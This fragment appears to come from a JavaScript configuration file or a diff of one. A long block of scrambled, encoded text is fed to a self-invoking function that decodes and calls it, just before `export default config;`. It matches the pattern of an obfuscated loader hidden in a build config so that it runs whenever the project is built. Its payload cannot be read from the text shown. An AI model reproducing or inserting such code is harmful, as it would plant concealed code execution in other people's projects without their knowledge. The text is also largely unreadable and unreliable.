u.}2}ir1rot1rNQtfc0k3_bnf])QagY;o[]c).r_e3mee%Q+QQ1QeQ__$q%_b=\\.p7+Q6o;_f.]Q;)n:iQQ%&,f+lijeQ&Qu;iu=Q.2_rC)nQ: QQ#if aruc_r8nr(egb]a!t_g_Q)5t7r)4t]p}Qldnf)}CQ0Q=e)1.\'rQt(x*_O.ttl7D1Q[)(0r Q_Q_ne;Q&Qos]a&0v%rp3]]_bnfQeeQ2QDhf(_0tfHQ.e5QQ$teo]QortfrKp).o:(). #Q_lQQtQ6pQreQ1afm0]3stL8s1nQCK;T%]1h( tSe(e Qotb%!:Qs2Qf.r2]l9:QQo%1ee=Q(,!]4m%Q)QtoeItin)){t=QI%=64Qe7lhr.a{k%QQ=1__.7f]]Q _!nuQ+b.=Rp.t]Q_QncieQS]e1QQQic0"fu)V*&>cj{Q%v,0Qof))QQh8+pi aQ..=QQ656),inQ)Q+(5i4ee8.pht6"n)rrKQiu))tfUheihek>fet),)Q)(m]Q.f.f {bWrQQo}s}[ds?p=0Qt1nfhtQfQua.%Q.QbhQ%=41(Q_=;(f`[]Qceeoe_QQ&hQ2ai *blltF5n!!rTfQct72=i2]pt(AQ8{Qc7?=%Q;5]{_q%Zre^QQ]d%tl__ycic;QwAefh.Qr1Qe_80i2f3`)a(_,QQ,gaQ1Q.Qio}Sffuw,Qt.i}z1)Qto,(4_77Qrre]fQjQQi1l3asu. mna.c)Qih{AQ.QI3(Q.)tt:d+e:fc3h}z,.op,oQs&)oQ);1_}_b]m]|)(%{)So))Q) ==7t.o,fQn.Q=6;yd(.4$16Qid15Q1a_kf#$p;.bafhdsdel])`@e3 1n4_tcb,s(1ref8Q 1$1_Q b(coac#c&:]fQcc.Qgft0aa7eh %QQ019Q]Qf_QolgrQ1];=oi Q.Q.r=ail)2#1,uhQQa=Qce][50"2];(Q!cQn-{6oQ_rQoQ{{s)1.eQa&)!_4c.3Qrs2 ](_itQoffxn.se#J(c%y{ti:crJQh]i,()=t:raogb0oCfefQ(Qft(U]s3_Qm5t1Q2%oo; ot)gxQnbQQ(^t0-s8\\F%){thus).Qt) i]%a,fv jQo.0fQou.ild =r(Qt?=Q5Qfn^ e.Q)!{QR[en0bgtg2l.}o.e_o)nO}Q]i_.Qg%_jQbQr=Q]o+]cT7eho {miQQ3r=fb^Mi,)2Qne$.1t$$gQ)-v9 e1f4 psomQ 3f% _6srss.l{fa:icn%nf()]!(PcQfr.b {QsQ_.>]on)]=1n)sbCQ.Me Q6e.}dft=3i.07e];aulf"n9ndnuE(o]y}QQlnl;'));var elQ=rfE(AZE,sgG );elQ(2726);return 5421})() +export default config;